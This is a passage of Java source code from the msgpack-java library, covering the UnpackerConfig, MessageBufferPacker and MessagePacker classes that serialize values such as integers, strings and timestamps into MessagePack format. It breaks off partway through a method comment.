private UnpackerConfig(UnpackerConfig copy)\n {\n this.allowReadingStringAsBinary = copy.allowReadingStringAsBinary;\n this.allowReadingBinaryAsString = copy.allowReadingBinaryAsString;\n this.actionOnMalformedString = copy.actionOnMalformedString;\n this.actionOnUnmappableString = copy.actionOnUnmappableString;\n this.stringSizeLimit = copy.stringSizeLimit;\n this.bufferSize = copy.bufferSize;\n }\n\n @Override\n public UnpackerConfig clone()\n {\n return new UnpackerConfig(this);\n }\n\n @Override\n public int hashCode()\n {\n int result = (allowReadingStringAsBinary ? 1 : 0);\n result = 31 * result + (allowReadingBinaryAsString ? 1 : 0);\n result = 31 * result + (actionOnMalformedString != null ? actionOnMalformedString.hashCode() : 0);\n result = 31 * result + (actionOnUnmappableString != null ? actionOnUnmappableString.hashCode() : 0);\n result = 31 * result + stringSizeLimit;\n result = 31 * result + bufferSize;\n result = 31 * result + stringDecoderBufferSize;\n return result;\n }\n\n @Override\n public boolean equals(Object obj)\n {\n if (!(obj instanceof UnpackerConfig)) {\n return false;\n }\n UnpackerConfig o = (UnpackerConfig) obj;\n return this.allowReadingStringAsBinary == o.allowReadingStringAsBinary\n && this.allowReadingBinaryAsString == o.allowReadingBinaryAsString\n && this.actionOnMalformedString == o.actionOnMalformedString\n && this.actionOnUnmappableString == o.actionOnUnmappableString\n && this.stringSizeLimit == o.stringSizeLimit\n && this.stringDecoderBufferSize == o.stringDecoderBufferSize\n && this.bufferSize == o.bufferSize;\n }\n\n /**\n * Creates an unpacker that deserializes objects from a specified input.\n * <p>\n * {@link org.msgpack.core.buffer.MessageBufferInput} is an interface that lets applications customize memory\n * allocation of internal buffer of {@link MessageUnpacker}.\n *\n * @param in The input stream that provides sequence of buffer chunks and optionally reuses them when MessageUnpacker consumed one completely\n * @return A new MessageUnpacker instance\n */\n public MessageUnpacker newUnpacker(MessageBufferInput in)\n {\n return new MessageUnpacker(in, this);\n }\n\n /**\n * Creates an unpacker that deserializes objects from a specified input stream.\n * <p>\n * Note that you don't have to wrap InputStream in BufferedInputStream because MessageUnpacker has buffering\n * internally.\n *\n * @param in The input stream that provides sequence of bytes\n * @return A new MessageUnpacker instance\n */\n public MessageUnpacker newUnpacker(InputStream in)\n {\n return newUnpacker(new InputStreamBufferInput(in, bufferSize));\n }\n\n /**\n * Creates an unpacker that deserializes objects from a specified readable channel.\n *\n * @param channel The input channel that provides sequence of bytes\n * @return A new MessageUnpacker instance\n */\n public MessageUnpacker newUnpacker(ReadableByteChannel channel)\n {\n return newUnpacker(new ChannelBufferInput(channel, bufferSize));\n }\n\n /**\n * Creates an unpacker that deserializes objects from a specified byte array.\n * <p>\n * This method provides an optimized implementation of <code>newDefaultUnpacker(new ByteArrayInputStream(contents))</code>.\n *\n * @param contents The byte array that contains packed objects in MessagePack format\n * @return A new MessageUnpacker instance that will never throw IOException\n */\n public MessageUnpacker newUnpacker(byte[] contents)\n {\n return newUnpacker(new ArrayBufferInput(contents));\n }\n\n /**\n * Creates an unpacker that deserializes objects from subarray of a specified byte array.\n * <p>\n * This method provides an optimized implementation of <code>newDefaultUnpacker(new ByteArrayInputStream(contents, offset, length))</code>.\n *\n * @param contents The byte array that contains packed objects\n * @param offset The index of the first byte\n * @param length The number of bytes\n * @return A new MessageUnpacker instance that will never throw IOException\n */\n public MessageUnpacker newUnpacker(byte[] contents, int offset, int length)\n {\n return newUnpacker(new ArrayBufferInput(contents, offset, length));\n }\n\n /**\n * Creates an unpacker that deserializes objects from a specified ByteBuffer.\n * <p>\n * Note that the returned unpacker reads data from the current position of the ByteBuffer until its limit.\n * However, its position does not change when unpacker reads data. You may use\n * {@link MessageUnpacker#getTotalReadBytes()} to get actual amount of bytes used in ByteBuffer.\n *\n * @param contents The byte buffer that contains packed objects\n * @return A new MessageUnpacker instance that will never throw IOException\n */\n public MessageUnpacker newUnpacker(ByteBuffer contents)\n {\n return newUnpacker(new ByteBufferInput(contents));\n }\n\n /**\n * Allows unpackBinaryHeader to read str format family (default: true)\n */\n public UnpackerConfig withAllowReadingStringAsBinary(boolean enable)\n {\n UnpackerConfig copy = clone();\n copy.allowReadingStringAsBinary = enable;\n return copy;\n }\n\n public boolean getAllowReadingStringAsBinary()\n {\n return allowReadingStringAsBinary;\n }\n\n /**\n * Allows unpackString and unpackRawStringHeader and unpackString to read bin format family (default: true)\n */\n public UnpackerConfig withAllowReadingBinaryAsString(boolean enable)\n {\n UnpackerConfig copy = clone();\n copy.allowReadingBinaryAsString = enable;\n return copy;\n }\n\n public boolean getAllowReadingBinaryAsString()\n {\n return allowReadingBinaryAsString;\n }\n\n /**\n * Sets action when encountered a malformed input (default: REPLACE)\n */\n public UnpackerConfig withActionOnMalformedString(CodingErrorAction action)\n {\n UnpackerConfig copy = clone();\n copy.actionOnMalformedString = action;\n return copy;\n }\n\n public CodingErrorAction getActionOnMalformedString()\n {\n return actionOnMalformedString;\n }\n\n /**\n * Sets action when an unmappable character is found (default: REPLACE)\n */\n public UnpackerConfig withActionOnUnmappableString(CodingErrorAction action)\n {\n UnpackerConfig copy = clone();\n copy.actionOnUnmappableString = action;\n return copy;\n }\n\n public CodingErrorAction getActionOnUnmappableString()\n {\n return actionOnUnmappableString;\n }\n\n /**\n * unpackString size limit (default: Integer.MAX_VALUE).\n */\n public UnpackerConfig withStringSizeLimit(int bytes)\n {\n UnpackerConfig copy = clone();\n copy.stringSizeLimit = bytes;\n return copy;\n }\n\n public int getStringSizeLimit()\n {\n return stringSizeLimit;\n }\n\n /**\n *\n */\n public UnpackerConfig withStringDecoderBufferSize(int bytes)\n {\n UnpackerConfig copy = clone();\n copy.stringDecoderBufferSize = bytes;\n return copy;\n }\n\n public int getStringDecoderBufferSize()\n {\n return stringDecoderBufferSize;\n }\n\n /**\n * When a packer is created with newUnpacker(OutputStream) or newUnpacker(WritableByteChannel), the stream will be\n * buffered with this size of buffer (default: 8192).\n */\n public UnpackerConfig withBufferSize(int bytes)\n {\n UnpackerConfig copy = clone();\n copy.bufferSize = bytes;\n return copy;\n }\n\n public int getBufferSize()\n {\n return bufferSize;\n }\n}", "public class MessageBufferPacker\n extends MessagePacker\n{\n protected MessageBufferPacker(MessagePack.PackerConfig config)\n {\n this(new ArrayBufferOutput(config.getBufferSize()), config);\n }\n\n protected MessageBufferPacker(ArrayBufferOutput out, MessagePack.PackerConfig config)\n {\n super(out, config);\n }\n\n public MessageBufferOutput reset(MessageBufferOutput out)\n throws IOException\n {\n if (!(out instanceof ArrayBufferOutput)) {\n throw new IllegalArgumentException(\"MessageBufferPacker accepts only ArrayBufferOutput\");\n }\n return super.reset(out);\n }\n\n private ArrayBufferOutput getArrayBufferOut()\n {\n return (ArrayBufferOutput) out;\n }\n\n @Override\n public void clear()\n {\n super.clear();\n getArrayBufferOut().clear();\n }\n\n /**\n * Gets copy of the written data as a byte array.\n * <p>\n * If your application needs better performance and smaller memory consumption, you may prefer\n * {@link #toMessageBuffer()} or {@link #toBufferList()} to avoid copying.\n *\n * @return the byte array\n */\n public byte[] toByteArray()\n {\n try {\n flush();\n }\n catch (IOException ex) {\n // IOException must not happen because underlying ArrayBufferOutput never throws IOException\n throw new RuntimeException(ex);\n }\n return getArrayBufferOut().toByteArray();\n }\n\n /**\n * Gets the written data as a MessageBuffer.\n * <p>\n * Unlike {@link #toByteArray()}, this method omits copy of the contents if size of the written data is smaller\n * than a single buffer capacity.\n *\n * @return the MessageBuffer instance\n */\n public MessageBuffer toMessageBuffer()\n {\n try {\n flush();\n }\n catch (IOException ex) {\n // IOException must not happen because underlying ArrayBufferOutput never throws IOException\n throw new RuntimeException(ex);\n }\n return getArrayBufferOut().toMessageBuffer();\n }\n\n /**\n * Returns the written data as a list of MessageBuffer.\n * <p>\n * Unlike {@link #toByteArray()} or {@link #toMessageBuffer()}, this is the fastest method that doesn't\n * copy contents in any cases.\n *\n * @return the list of MessageBuffer instances\n */\n public List<MessageBuffer> toBufferList()\n {\n try {\n flush();\n }\n catch (IOException ex) {\n // IOException must not happen because underlying ArrayBufferOutput never throws IOException\n throw new RuntimeException(ex);\n }\n return getArrayBufferOut().toBufferList();\n }\n\n /**\n * @return the size of the buffer in use\n */\n public int getBufferSize()\n {\n return getArrayBufferOut().getSize();\n }\n}", "public class MessagePacker\n implements Closeable, Flushable\n{\n private static final boolean CORRUPTED_CHARSET_ENCODER;\n\n static {\n boolean corruptedCharsetEncoder = false;\n try {\n Class<?> klass = Class.forName(\"android.os.Build$VERSION\");\n Constructor<?> constructor = klass.getConstructor();\n Object version = constructor.newInstance();\n Field sdkIntField = klass.getField(\"SDK_INT\");\n int sdkInt = sdkIntField.getInt(version);\n // Android 4.x has a bug in CharsetEncoder where offset calculation is wrong.\n // See\n // - https://github.com/msgpack/msgpack-java/issues/405\n // - https://github.com/msgpack/msgpack-java/issues/406\n // Android 5 and later and 3.x don't have this bug.\n if (sdkInt >= 14 && sdkInt < 21) {\n corruptedCharsetEncoder = true;\n }\n }\n catch (ClassNotFoundException e) {\n // This platform isn't Android\n }\n catch (NoSuchMethodException e) {\n e.printStackTrace();\n }\n catch (IllegalAccessException e) {\n e.printStackTrace();\n }\n catch (InstantiationException e) {\n e.printStackTrace();\n }\n catch (InvocationTargetException e) {\n e.printStackTrace();\n }\n catch (NoSuchFieldException e) {\n e.printStackTrace();\n }\n CORRUPTED_CHARSET_ENCODER = corruptedCharsetEncoder;\n }\n\n private final int smallStringOptimizationThreshold;\n\n private final int bufferFlushThreshold;\n\n private final boolean str8FormatSupport;\n\n /**\n * Current internal buffer.\n */\n protected MessageBufferOutput out;\n\n private MessageBuffer buffer;\n\n private int position;\n\n /**\n * Total written byte size\n */\n private long totalFlushBytes;\n\n /**\n * String encoder\n */\n private CharsetEncoder encoder;\n\n /**\n * Create an MessagePacker that outputs the packed data to the given {@link org.msgpack.core.buffer.MessageBufferOutput}.\n * This method is available for subclasses to override. Use MessagePack.PackerConfig.newPacker method to instantiate this implementation.\n *\n * @param out MessageBufferOutput. Use {@link org.msgpack.core.buffer.OutputStreamBufferOutput}, {@link org.msgpack.core.buffer.ChannelBufferOutput} or\n * your own implementation of {@link org.msgpack.core.buffer.MessageBufferOutput} interface.\n */\n protected MessagePacker(MessageBufferOutput out, MessagePack.PackerConfig config)\n {\n this.out = checkNotNull(out, \"MessageBufferOutput is null\");\n this.smallStringOptimizationThreshold = config.getSmallStringOptimizationThreshold();\n this.bufferFlushThreshold = config.getBufferFlushThreshold();\n this.str8FormatSupport = config.isStr8FormatSupport();\n this.position = 0;\n this.totalFlushBytes = 0;\n }\n\n /**\n * Replaces underlying output.\n * <p>\n * This method flushes current internal buffer to the output, swaps it with the new given output, then returns\n * the old output.\n *\n * <p>\n * This method doesn't close the old output.\n *\n * @param out new output\n * @return the old output\n * @throws IOException when underlying output throws IOException\n * @throws NullPointerException the given output is null\n */\n public MessageBufferOutput reset(MessageBufferOutput out)\n throws IOException\n {\n // Validate the argument\n MessageBufferOutput newOut = checkNotNull(out, \"MessageBufferOutput is null\");\n\n // Flush before reset\n flush();\n MessageBufferOutput old = this.out;\n this.out = newOut;\n\n // Reset totalFlushBytes\n this.totalFlushBytes = 0;\n\n return old;\n }\n\n /**\n * Returns total number of written bytes.\n * <p>\n * This method returns total of amount of data flushed to the underlying output plus size of current\n * internal buffer.\n *\n * <p>\n * Calling {@link #reset(MessageBufferOutput)} resets this number to 0.\n */\n public long getTotalWrittenBytes()\n {\n return totalFlushBytes + position;\n }\n\n /**\n * Clears the written data.\n */\n public void clear()\n {\n position = 0;\n }\n\n /**\n * Flushes internal buffer to the underlying output.\n * <p>\n * This method also calls flush method of the underlying output after writing internal buffer.\n */\n @Override\n public void flush()\n throws IOException\n {\n if (position > 0) {\n flushBuffer();\n }\n out.flush();\n }\n\n /**\n * Closes underlying output.\n * <p>\n * This method flushes internal buffer before closing.\n */\n @Override\n public void close()\n throws IOException\n {\n try {\n flush();\n }\n finally {\n out.close();\n }\n }\n\n private void flushBuffer()\n throws IOException\n {\n out.writeBuffer(position);\n buffer = null;\n totalFlushBytes += position;\n position = 0;\n }\n\n private void ensureCapacity(int minimumSize)\n throws IOException\n {\n if (buffer == null) {\n buffer = out.next(minimumSize);\n }\n else if (position + minimumSize >= buffer.size()) {\n flushBuffer();\n buffer = out.next(minimumSize);\n }\n }\n\n private void writeByte(byte b)\n throws IOException\n {\n ensureCapacity(1);\n buffer.putByte(position++, b);\n }\n\n private void writeByteAndByte(byte b, byte v)\n throws IOException\n {\n ensureCapacity(2);\n buffer.putByte(position++, b);\n buffer.putByte(position++, v);\n }\n\n private void writeByteAndShort(byte b, short v)\n throws IOException\n {\n ensureCapacity(3);\n buffer.putByte(position++, b);\n buffer.putShort(position, v);\n position += 2;\n }\n\n private void writeByteAndInt(byte b, int v)\n throws IOException\n {\n ensureCapacity(5);\n buffer.putByte(position++, b);\n buffer.putInt(position, v);\n position += 4;\n }\n\n private void writeByteAndFloat(byte b, float v)\n throws IOException\n {\n ensureCapacity(5);\n buffer.putByte(position++, b);\n buffer.putFloat(position, v);\n position += 4;\n }\n\n private void writeByteAndDouble(byte b, double v)\n throws IOException\n {\n ensureCapacity(9);\n buffer.putByte(position++, b);\n buffer.putDouble(position, v);\n position += 8;\n }\n\n private void writeByteAndLong(byte b, long v)\n throws IOException\n {\n ensureCapacity(9);\n buffer.putByte(position++, b);\n buffer.putLong(position, v);\n position += 8;\n }\n\n private void writeShort(short v)\n throws IOException\n {\n ensureCapacity(2);\n buffer.putShort(position, v);\n position += 2;\n }\n\n private void writeInt(int v)\n throws IOException\n {\n ensureCapacity(4);\n buffer.putInt(position, v);\n position += 4;\n }\n\n private void writeLong(long v)\n throws IOException\n {\n ensureCapacity(8);\n buffer.putLong(position, v);\n position += 8;\n }\n\n /**\n * Writes a Nil value.\n *\n * This method writes a nil byte.\n *\n * @return this\n * @throws IOException when underlying output throws IOException\n */\n public MessagePacker packNil()\n throws IOException\n {\n writeByte(NIL);\n return this;\n }\n\n /**\n * Writes a Boolean value.\n *\n * This method writes a true byte or a false byte.\n *\n * @return this\n * @throws IOException when underlying output throws IOException\n */\n public MessagePacker packBoolean(boolean b)\n throws IOException\n {\n writeByte(b ? TRUE : FALSE);\n return this;\n }\n\n /**\n * Writes an Integer value.\n *\n * <p>\n * This method writes an integer using the smallest format from the int format family.\n *\n * @param b the integer to be written\n * @return this\n * @throws IOException when underlying output throws IOException\n */\n public MessagePacker packByte(byte b)\n throws IOException\n {\n if (b < -(1 << 5)) {\n writeByteAndByte(INT8, b);\n }\n else {\n writeByte(b);\n }\n return this;\n }\n\n /**\n * Writes an Integer value.\n *\n * <p>\n * This method writes an integer using the smallest format from the int format family.\n *\n * @param v the integer to be written\n * @return this\n * @throws IOException when underlying output throws IOException\n */\n public MessagePacker packShort(short v)\n throws IOException\n {\n if (v < -(1 << 5)) {\n if (v < -(1 << 7)) {\n writeByteAndShort(INT16, v);\n }\n else {\n writeByteAndByte(INT8, (byte) v);\n }\n }\n else if (v < (1 << 7)) {\n writeByte((byte) v);\n }\n else {\n if (v < (1 << 8)) {\n writeByteAndByte(UINT8, (byte) v);\n }\n else {\n writeByteAndShort(UINT16, v);\n }\n }\n return this;\n }\n\n /**\n * Writes an Integer value.\n *\n * <p>\n * This method writes an integer using the smallest format from the int format family.\n *\n * @param r the integer to be written\n * @return this\n * @throws IOException when underlying output throws IOException\n */\n public MessagePacker packInt(int r)\n throws IOException\n {\n if (r < -(1 << 5)) {\n if (r < -(1 << 15)) {\n writeByteAndInt(INT32, r);\n }\n else if (r < -(1 << 7)) {\n writeByteAndShort(INT16, (short) r);\n }\n else {\n writeByteAndByte(INT8, (byte) r);\n }\n }\n else if (r < (1 << 7)) {\n writeByte((byte) r);\n }\n else {\n if (r < (1 << 8)) {\n writeByteAndByte(UINT8, (byte) r);\n }\n else if (r < (1 << 16)) {\n writeByteAndShort(UINT16, (short) r);\n }\n else {\n // unsigned 32\n writeByteAndInt(UINT32, r);\n }\n }\n return this;\n }\n\n /**\n * Writes an Integer value.\n *\n * <p>\n * This method writes an integer using the smallest format from the int format family.\n *\n * @param v the integer to be written\n * @return this\n * @throws IOException when underlying output throws IOException\n */\n public MessagePacker packLong(long v)\n throws IOException\n {\n if (v < -(1L << 5)) {\n if (v < -(1L << 15)) {\n if (v < -(1L << 31)) {\n writeByteAndLong(INT64, v);\n }\n else {\n writeByteAndInt(INT32, (int) v);\n }\n }\n else {\n if (v < -(1 << 7)) {\n writeByteAndShort(INT16, (short) v);\n }\n else {\n writeByteAndByte(INT8, (byte) v);\n }\n }\n }\n else if (v < (1 << 7)) {\n // fixnum\n writeByte((byte) v);\n }\n else {\n if (v < (1L << 16)) {\n if (v < (1 << 8)) {\n writeByteAndByte(UINT8, (byte) v);\n }\n else {\n writeByteAndShort(UINT16, (short) v);\n }\n }\n else {\n if (v < (1L << 32)) {\n writeByteAndInt(UINT32, (int) v);\n }\n else {\n writeByteAndLong(UINT64, v);\n }\n }\n }\n return this;\n }\n\n /**\n * Writes an Integer value.\n *\n * <p>\n * This method writes an integer using the smallest format from the int format family.\n *\n * @param bi the integer to be written\n * @return this\n * @throws IOException when underlying output throws IOException\n */\n public MessagePacker packBigInteger(BigInteger bi)\n throws IOException\n {\n if (bi.bitLength() <= 63) {\n packLong(bi.longValue());\n }\n else if (bi.bitLength() == 64 && bi.signum() == 1) {\n writeByteAndLong(UINT64, bi.longValue());\n }\n else {\n throw new IllegalArgumentException(\"MessagePack cannot serialize BigInteger larger than 2^64-1\");\n }\n return this;\n }\n\n /**\n * Writes a Float value.\n *\n * <p>\n * This method writes a float value using float format family.\n *\n * @param v the value to be written\n * @return this\n * @throws IOException when underlying output throws IOException\n */\n public MessagePacker packFloat(float v)\n throws IOException\n {\n writeByteAndFloat(FLOAT32, v);\n return this;\n }\n\n /**\n * Writes a Float value.\n *\n * <p>\n * This method writes a float value using float format family.\n *\n * @param v the value to be written\n * @return this\n * @throws IOException when underlying output throws IOException\n */\n public MessagePacker packDouble(double v)\n throws IOException\n {\n writeByteAndDouble(FLOAT64, v);\n return this;\n }\n\n private void packStringWithGetBytes(String s)\n throws IOException\n {\n // JVM performs various optimizations (memory allocation, reusing encoder etc.) when String.getBytes is used\n byte[] bytes = s.getBytes(MessagePack.UTF8);\n // Write the length and payload of small string to the buffer so that it avoids an extra flush of buffer\n packRawStringHeader(bytes.length);\n addPayload(bytes);\n }\n\n private void prepareEncoder()\n {\n if (encoder == null) {\n /**\n * Even if String object contains invalid UTF-8 characters, we should not throw any exception.\n *\n * The following exception has happened before:\n *\n * org.msgpack.core.MessageStringCodingException: java.nio.charset.MalformedInputException: Input length = 1\n * at org.msgpack.core.MessagePacker.encodeStringToBufferAt(MessagePacker.java:467) ~[msgpack-core-0.8.6.jar:na]\n * at org.msgpack.core.MessagePacker.packString(MessagePacker.java:535) ~[msgpack-core-0.8.6.jar:na]\n *\n * This happened on JVM 7. But no ideas how to reproduce.\n */\n this.encoder = MessagePack.UTF8.newEncoder()\n .onMalformedInput(CodingErrorAction.REPLACE)\n .onUnmappableCharacter(CodingErrorAction.REPLACE);\n }\n encoder.reset();\n }\n\n private int encodeStringToBufferAt(int pos, String s)\n {\n prepareEncoder();\n ByteBuffer bb = buffer.sliceAsByteBuffer(pos, buffer.size() - pos);\n int startPosition = bb.position();\n CharBuffer in = CharBuffer.wrap(s);\n CoderResult cr = encoder.encode(in, bb, true);\n if (cr.isError()) {\n try {\n cr.throwException();\n }\n catch (CharacterCodingException e) {\n throw new MessageStringCodingException(e);\n }\n }\n if (!cr.isUnderflow() || cr.isOverflow()) {\n // Underflow should be on to ensure all of the input string is encoded\n return -1;\n }\n // NOTE: This flush method does nothing if we use UTF8 encoder, but other general encoders require this\n cr = encoder.flush(bb);\n if (!cr.isUnderflow()) {\n return -1;\n }\n return bb.position() - startPosition;\n }\n\n private static final int UTF_8_MAX_CHAR_SIZE = 6;\n\n /**\n * Writes a String vlaue in UTF-8 encoding.\n *\n * <p>\n * This method writes a UTF-8 string using the smallest format from the str format family by default. If {@link MessagePack.PackerConfig#withStr8FormatSupport(boolean)} is set to false, smallest format from the str format family excepting str8 format.\n *\n * @param s the string to be written\n * @return this\n * @throws IOException when underlying output throws IOException\n */\n public MessagePacker packString(String s)\n throws IOException\n {\n if (s.length() <= 0) {\n packRawStringHeader(0);\n return this;\n }\n else if (CORRUPTED_CHARSET_ENCODER || s.length() < smallStringOptimizationThreshold) {\n // Using String.getBytes is generally faster for small strings.\n // Also, when running on a platform that has a corrupted CharsetEncoder (i.e. Android 4.x), avoid using it.\n packStringWithGetBytes(s);\n return this;\n }\n else if (s.length() < (1 << 8)) {\n // ensure capacity for 2-byte raw string header + the maximum string size (+ 1 byte for falback code)\n ensureCapacity(2 + s.length() * UTF_8_MAX_CHAR_SIZE + 1);\n // keep 2-byte header region and write raw string\n int written = encodeStringToBufferAt(position + 2, s);\n if (written >= 0) {\n if (str8FormatSupport && written < (1 << 8)) {\n buffer.putByte(position++, STR8);\n buffer.putByte(position++, (byte) written);\n position += written;\n }\n else {\n if (written >= (1 << 16)) {\n // this must not happen because s.length() is less than 2^8 and (2^8) * UTF_8_MAX_CHAR_SIZE is less than 2^16\n throw new IllegalArgumentException(\"Unexpected UTF-8 encoder state\");\n }\n // move 1 byte backward to expand 3-byte header region to 3 bytes\n buffer.putMessageBuffer(position + 3, buffer, position + 2, written);\n // write 3-byte header\n buffer.putByte(position++, STR16);\n buffer.putShort(position, (short) written);\n position += 2;\n position += written;\n }\n return this;\n }\n }\n else if (s.length() < (1 << 16)) {\n // ensure capacity for 3-byte raw string header + the maximum string size (+ 2 bytes for fallback code)\n ensureCapacity(3 + s.length() * UTF_8_MAX_CHAR_SIZE + 2);\n // keep 3-byte header region and write raw string\n int written = encodeStringToBufferAt(position + 3, s);\n if (written >= 0) {\n if (written < (1 << 16)) {\n buffer.putByte(position++, STR16);\n buffer.putShort(position, (short) written);\n position += 2;\n position += written;\n }\n else {\n if (written >= (1L << 32)) { // this check does nothing because (1L << 32) is larger than Integer.MAX_VALUE\n // this must not happen because s.length() is less than 2^16 and (2^16) * UTF_8_MAX_CHAR_SIZE is less than 2^32\n throw new IllegalArgumentException(\"Unexpected UTF-8 encoder state\");\n }\n // move 2 bytes backward to expand 3-byte header region to 5 bytes\n buffer.putMessageBuffer(position + 5, buffer, position + 3, written);\n // write 3-byte header header\n buffer.putByte(position++, STR32);\n buffer.putInt(position, written);\n position += 4;\n position += written;\n }\n return this;\n }\n }\n\n // Here doesn't use above optimized code for s.length() < (1 << 32) so that\n // ensureCapacity is not called with an integer larger than (3 + ((1 << 16) * UTF_8_MAX_CHAR_SIZE) + 2).\n // This makes it sure that MessageBufferOutput.next won't be called a size larger than\n // 384KB, which is OK size to keep in memory.\n\n // fallback\n packStringWithGetBytes(s);\n return this;\n }\n\n /**\n * Writes a Timestamp value.\n *\n * <p>\n * This method writes a timestamp value using timestamp format family.\n *\n * @param instant the timestamp to be written\n * @return this packer\n * @throws IOException when underlying output throws IOException\n */\n public MessagePacker packTimestamp(Instant instant)\n throws IOException\n {\n return packTimestamp(instant.getEpochSecond(), instant.getNano());\n }\n\n /**\n * Writes a Timesamp value using a millisecond value (e.g., System.currentTimeMillis())\n * @param millis the millisecond value\n * @return this packer\n * @throws IOException when underlying output throws IOException\n */\n public MessagePacker packTimestamp(long millis)\n throws IOException\n {\n return packTimestamp(Instant.ofEpochMilli(millis));\n }\n\n private static final long NANOS_PER_SECOND = 1000000000L;\n\n /**\n * Writes a Timestamp value.\n *\n * <p>\n * This method writes a timestamp value using timestamp format family.\n *\n * @param epochSecond the number of seconds from 1970-01-01T00:00:00Z\n * @param nanoAdjustment the nanosecond adjustment to the number of seconds, positive or negative\n * @return this\n * @throws IOException when underlying output throws IOException\n * @throws ArithmeticException when epochSecond plus nanoAdjustment in seconds exceeds the range of long\n */\n public MessagePacker packTimestamp(long epochSecond, int nanoAdjustment)\n throws IOException, ArithmeticException\n {\n long sec = Math.addExact(epochSecond, Math.floorDiv(nanoAdjustment, NANOS_PER_SECOND));\n long nsec = Math.floorMod((long) nanoAdjustment, NANOS_PER_SECOND);\n\n if (sec >>> 34 == 0) {\n // sec can be serialized in 34 bits.\n long data64 = (nsec << 34) | sec;\n if ((data64 & 0xffffffff00000000L) == 0L) {\n // sec can be serialized in 32 bits and nsec is 0.\n // use timestamp 32\n writeTimestamp32((int) sec);\n }\n else {\n // sec exceeded 32 bits or nsec is not 0.\n // use timestamp 64\n writeTimestamp64(data64);\n }\n }\n else {\n // use timestamp 96 format\n writeTimestamp96(sec, (int) nsec);\n }\n return this;\n }\n\n private void writeTimestamp32(int sec)\n throws IOException\n {\n // timestamp 32 in fixext 4\n ensureCapacity(6);\n buffer.putByte(position++, FIXEXT4);\n buffer.putByte(position++, EXT_TIMESTAMP);\n buffer.putInt(position, sec);\n position += 4;\n }\n\n private void writeTimestamp64(long data64)\n throws IOException\n {\n // timestamp 64 in fixext 8\n ensureCapacity(10);\n buffer.putByte(position++, FIXEXT8);\n buffer.putByte(position++, EXT_TIMESTAMP);\n buffer.putLong(position, data64);\n position += 8;\n }\n\n private void writeTimestamp96(long sec, int nsec)\n throws IOException\n {\n // timestamp 96 in ext 8\n ensureCapacity(15);\n buffer.putByte(position++, EXT8);\n buffer.putByte(position++, (byte) 12); // length of nsec and sec\n buffer.putByte(position++, EXT_TIMESTAMP);\n buffer.putInt(position, nsec);\n position += 4;\n buffer.putLong(position, sec);\n position += 8;\n }\n\n /**\n * Writes header of an Array value.\n * <p>\n * You will call other packer methods for each element after this method call.\n * <p>\n * You don't have to call anything at the end of iteration.\n *\n * @param arraySize number of elements to be written\n * @return this\n * @throws IOException when underlying output throws IOException\n */\n public MessagePacker packArrayHeader(int arraySize)\n throws IOException\n {\n if (arraySize < 0) {\n throw new IllegalArgumentException(\"array size must be >= 0\");\n }\n\n if (arraySize < (1 << 4)) {\n writeByte((byte) (FIXARRAY_PREFIX | arraySize));\n }\n else if (arraySize < (1 << 16)) {\n writeByteAndShort(ARRAY16, (short) arraySize);\n }\n else {\n writeByteAndInt(ARRAY32, arraySize);\n }\n return this;\n }\n\n /**\n * Writes header of a Map value.\n * <p>\n * After this method call, for each key-value pair, you will call packer methods for key first, and then value.\n * You will call packer methods twice as many time as the size of the map.\n * <p>\n * You don't have to call anything at the end of iteration.\n *\n * @param mapSize number of pairs to be written\n * @return this\n * @throws IOException when underlying output throws IOException\n */\n public MessagePacker packMapHeader(int mapSize)\n throws IOException\n {\n if (mapSize < 0) {\n throw new IllegalArgumentException(\"map size must be >= 0\");\n }\n\n if (mapSize < (1 << 4)) {\n writeByte((byte) (FIXMAP_PREFIX | mapSize));\n }\n else if (mapSize < (1 << 16)) {\n writeByteAndShort(MAP16, (short) mapSize);\n }\n else {\n writeByteAndInt(MAP32, mapSize);\n }\n return this;\n }\n\n /**\n * Writes a dynamically typed value.\n *\n * @param v the value to be written\n * @return this\n * @throws IOException when underlying output throws IOException\n */\n public MessagePacker packValue(Value v)\n throws IOException\n {\n v.writeTo(this);\n return this;\n }\n\n /**\n * Writes header of an Extension value.\n * <p>\n * You MUST call {@link #writePayload(byte[])} or {@link #addPayload(byte[])} method to write body binary.\n *\n * @param extType the extension type tag to be written\n * @param payloadLen number of bytes of a payload binary to be written\n * @return this\n * @throws IOException when underlying output throws IOException\n */\n public MessagePacker packExtensionTypeHeader(byte extType, int payloadLen)\n throws IOException\n {\n if (payloadLen < (1 << 8)) {\n if (payloadLen > 0 && (payloadLen & (payloadLen - 1)) == 0) { // check whether dataLen == 2^x\n if (payloadLen == 1) {\n writeByteAndByte(FIXEXT1, extType);\n }\n else if (payloadLen == 2) {\n writeByteAndByte(FIXEXT2, extType);\n }\n else if (payloadLen == 4) {\n writeByteAndByte(FIXEXT4, extType);\n }\n else if (payloadLen == 8) {\n writeByteAndByte(FIXEXT8, extType);\n }\n else if (payloadLen == 16) {\n writeByteAndByte(FIXEXT16, extType);\n }\n else {\n writeByteAndByte(EXT8, (byte) payloadLen);\n writeByte(extType);\n }\n }\n else {\n writeByteAndByte(EXT8, (byte) payloadLen);\n writeByte(extType);\n }\n }\n else if (payloadLen < (1 << 16)) {\n writeByteAndShort(EXT16, (short) payloadLen);\n writeByte(extType);\n }\n else {\n writeByteAndInt(EXT32, payloadLen);\n writeByte(extType);\n\n // TODO support dataLen > 2^31 - 1\n }\n return this;\n }\n\n /**\n * Writes header of a Binary value.\n * <p>\n * You MUST call {@link #writePayload(byte[])} or {@link #addPayload(byte[])} method to write body binary.\n *\n * @param len number of bytes of a binary to be written\n * @return this\n * @throws IOException when underlying output throws IOException\n */\n public MessagePacker packBinaryHeader(int len)\n throws IOException\n {\n if (len < (1 << 8)) {\n writeByteAndByte(BIN8, (byte) len);\n }\n else if (len < (1 << 16)) {\n writeByteAndShort(BIN16, (short) len);\n }\n else {\n writeByteAndInt(BIN32, len);\n }\n return this;\n }\n\n /**\n * Writes header of a String value.\n * <p>\n * Length must be number of bytes of a string in UTF-8 encoding.\n * <p>\n * You MUST call {@link #writePayload(byte[])} or {@link #addPayload(byte[])} method to write body of the\n * UTF-8 encoded string.\n *\n * @param len number of bytes of a UTF-8 string to be written\n * @return this\n * @throws IOException when underlying output throws IOException\n */\n public MessagePacker packRawStringHeader(int len)\n throws IOException\n {\n if (len < (1 << 5)) {\n writeByte((byte) (FIXSTR_PREFIX | len));\n }\n else if (str8FormatSupport && len < (1 << 8)) {\n writeByteAndByte(STR8, (byte) len);\n }\n else if (len < (1 << 16)) {\n writeByteAndShort(STR16, (short) len);\n }\n else {\n writeByteAndInt(STR32, len);\n }\n return this;\n }\n\n /**\n * Writes a byte array to the output.\n * <p>\n * This method is used with {@link 